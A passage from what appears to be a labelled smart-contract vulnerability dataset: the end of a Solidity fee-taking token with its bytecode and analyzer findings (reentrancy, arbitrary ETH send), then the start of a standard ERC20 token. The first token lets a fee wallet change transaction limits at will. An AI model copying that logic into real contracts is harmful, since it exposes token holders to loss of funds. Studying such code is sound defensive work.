_feeAddr2 = 9;
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_feeAddrWallet1 == _msgSender() );
_;
}
function setMaxBuy(uint256 limit) external overridden {
_maxTxAmount = limit;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612387565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611f4a565b6103c2565b604051610157919061236c565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906124e9565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611ef7565b6103f0565b6040516101bf919061236c565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea919061255e565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611e5d565b61054c565b60405161023e91906124e9565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b604051610280919061229e565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab9190612387565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611f4a565b610756565b6040516102e8919061236c565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611eb7565b610cb5565b60405161033c91906124e9565b60405180910390f35b34801561035157600080fd5b5061035a610d3c565b005b34801561036857600080fd5b50610383600480360381019061037e9190611fb7565b610dae565b005b60606040518060400160405280600681526020017f4869736f6b610000000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610e19565b8484610e21565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610fec565b6104be84610409610e19565b6104b985604051806060016040528060288152602001612b3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137b9092919063ffffffff16565b610e21565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e19565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816113df565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611667565b9050919050565b6105a5610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612449565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4849534f4b410000000000000000000000000000000000000000000000000000815250905090565b600061076a610763610e19565b8484610fec565b6001905092915050565b61077c610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090612449565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906124c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610e21565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611e8a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611e8a565b6040518363ffffffff1660e01b8152600401610a1d9291906122b9565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611e8a565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b259695949392919061230b565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b779190611fe4565b5050506001600d60166101000a81548160ff02191690831515021790555068056bc75e2d63100000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5f9291906122e2565b602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb19190611f8a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d610e19565b73ffffffffffffffffffffffffffffffffffffffff1614610d9d57600080fd5b6000479050610dab816116d5565b50565b610db6610e19565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e88906124a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef8906123e9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fdf91906124e9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105390612489565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123a9565b60405180910390fd5b6000811161110f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110690612469565b60405180910390fd5b60016009819055506009600a819055506111276106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561119557506111656106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561136b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112455750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112b15760016009819055506009600a819055505b60006112bc3061054c565b9050600d60159054906101000a900460ff161580156113295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113415750600d60169054906101000a900460ff165b156113695761134f816113df565b6000479050600081111561136757611366476116d5565b5b505b505b611376838383611741565b505050565b60008383111582906113c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ba9190612387565b60405180910390fd5b50600083856113d291906126af565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114175761141661280a565b5b6040519080825280602002602001820160405280156114455781602001602082028036833780820191505090505b509050308160008151811061145d5761145c6127db565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ff57600080fd5b505afa158015611513573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115379190611e8a565b8160018151811061154b5761154a6127db565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115b230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e21565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611616959493929190612504565b600060405180830381600087803b15801561163057600080fd5b505af1158015611644573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b60006007548211156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a5906123c9565b60405180910390fd5b60006116b8611751565b90506116cd818461177c90919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561173d573d6000803e3d6000fd5b5050565b61174c8383836117c6565b505050565b600080600061175e611991565b91509150611775818361177c90919063ffffffff16565b9250505090565b60006117be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119f0565b905092915050565b6000806000806000806117d887611a53565b95509550955095509550955061183686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191781611b63565b6119218483611c20565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161197e91906124e9565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a000090506119c567016345785d8a000060075461177c90919063ffffffff16565b8210156119e35760075467016345785d8a00009350935050506119ec565b81819350935050505b9091565b60008083118290611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e9190612387565b60405180910390fd5b5060008385611a469190612624565b9050809150509392505050565b6000806000806000806000806000611a708a600954600a54611c5a565b9250925092506000611a80611751565b90506000806000611a938e878787611cf0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611afd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061137b565b905092915050565b6000808284611b1491906125ce565b905083811015611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090612409565b60405180910390fd5b8091505092915050565b6000611b6d611751565b90506000611b848284611d7990919063ffffffff16565b9050611bd881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c3582600754611abb90919063ffffffff16565b600781905550611c5081600854611b0590919063ffffffff16565b6008819055505050565b600080600080611c866064611c78888a611d7990919063ffffffff16565b61177c90919063ffffffff16565b90506000611cb06064611ca2888b611d7990919063ffffffff16565b61177c90919063ffffffff16565b90506000611cd982611ccb858c611abb90919063ffffffff16565b611abb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d098589611d7990919063ffffffff16565b90506000611d208689611d7990919063ffffffff16565b90506000611d378789611d7990919063ffffffff16565b90506000611d6082611d528587611abb90919063ffffffff16565b611abb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d8c5760009050611dee565b60008284611d9a9190612655565b9050828482611da99190612624565b14611de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de090612429565b60405180910390fd5b809150505b92915050565b600081359050611e0381612af3565b92915050565b600081519050611e1881612af3565b92915050565b600081519050611e2d81612b0a565b92915050565b600081359050611e4281612b21565b92915050565b600081519050611e5781612b21565b92915050565b600060208284031215611e7357611e72612839565b5b6000611e8184828501611df4565b91505092915050565b600060208284031215611ea057611e9f612839565b5b6000611eae84828501611e09565b91505092915050565b60008060408385031215611ece57611ecd612839565b5b6000611edc85828601611df4565b9250506020611eed85828601611df4565b9150509250929050565b600080600060608486031215611f1057611f0f612839565b5b6000611f1e86828701611df4565b9350506020611f2f86828701611df4565b9250506040611f4086828701611e33565b9150509250925092565b60008060408385031215611f6157611f60612839565b5b6000611f6f85828601611df4565b9250506020611f8085828601611e33565b9150509250929050565b600060208284031215611fa057611f9f612839565b5b6000611fae84828501611e1e565b91505092915050565b600060208284031215611fcd57611fcc612839565b5b6000611fdb84828501611e33565b91505092915050565b600080600060608486031215611ffd57611ffc612839565b5b600061200b86828701611e48565b935050602061201c86828701611e48565b925050604061202d86828701611e48565b9150509250925092565b6000612043838361204f565b60208301905092915050565b612058816126e3565b82525050565b612067816126e3565b82525050565b600061207882612589565b61208281856125ac565b935061208d83612579565b8060005b838110156120be5781516120a58882612037565b97506120b08361259f565b925050600181019050612091565b5085935050505092915050565b6120d4816126f5565b82525050565b6120e381612738565b82525050565b60006120f482612594565b6120fe81856125bd565b935061210e81856020860161274a565b6121178161283e565b840191505092915050565b600061212f6023836125bd565b915061213a8261284f565b604082019050919050565b6000612152602a836125bd565b915061215d8261289e565b604082019050919050565b60006121756022836125bd565b9150612180826128ed565b604082019050919050565b6000612198601b836125bd565b91506121a38261293c565b602082019050919050565b60006121bb6021836125bd565b91506121c682612965565b604082019050919050565b60006121de6020836125bd565b91506121e9826129b4565b602082019050919050565b60006122016029836125bd565b915061220c826129dd565b604082019050919050565b60006122246025836125bd565b915061222f82612a2c565b604082019050919050565b60006122476024836125bd565b915061225282612a7b565b604082019050919050565b600061226a6017836125bd565b915061227582612aca565b602082019050919050565b61228981612721565b82525050565b6122988161272b565b82525050565b60006020820190506122b3600083018461205e565b92915050565b60006040820190506122ce600083018561205e565b6122db602083018461205e565b9392505050565b60006040820190506122f7600083018561205e565b6123046020830184612280565b9392505050565b600060c082019050612320600083018961205e565b61232d6020830188612280565b61233a60408301876120da565b61234760608301866120da565b612354608083018561205e565b61236160a0830184612280565b979650505050505050565b600060208201905061238160008301846120cb565b92915050565b600060208201905081810360008301526123a181846120e9565b905092915050565b600060208201905081810360008301526123c281612122565b9050919050565b600060208201905081810360008301526123e281612145565b9050919050565b6000602082019050818103600083015261240281612168565b9050919050565b600060208201905081810360008301526124228161218b565b9050919050565b60006020820190508181036000830152612442816121ae565b9050919050565b60006020820190508181036000830152612462816121d1565b9050919050565b60006020820190508181036000830152612482816121f4565b9050919050565b600060208201905081810360008301526124a281612217565b9050919050565b600060208201905081810360008301526124c28161223a565b9050919050565b600060208201905081810360008301526124e28161225d565b9050919050565b60006020820190506124fe6000830184612280565b92915050565b600060a0820190506125196000830188612280565b61252660208301876120da565b8181036040830152612538818661206d565b9050612547606083018561205e565b6125546080830184612280565b9695505050505050565b6000602082019050612573600083018461228f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125d982612721565b91506125e483612721565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126195761261861277d565b5b828201905092915050565b600061262f82612721565b915061263a83612721565b92508261264a576126496127ac565b5b828204905092915050565b600061266082612721565b915061266b83612721565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126a4576126a361277d565b5b828202905092915050565b60006126ba82612721565b91506126c583612721565b9250828210156126d8576126d761277d565b5b828203905092915050565b60006126ee82612701565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061274382612721565b9050919050565b60005b8381101561276857808201518184015260208101905061274d565b83811115612777576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612afc816126e3565b8114612b0757600080fd5b50565b612b13816126f5565b8114612b1e57600080fd5b50565b612b2a81612721565b8114612b3557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034effecce34ed4647af6424a0ae91efa810bcf6b10ca1cb45626c3da5c63346b64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 133 |
0x82ac108d3569e7bad9b43c03a5facb0308eecb41 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
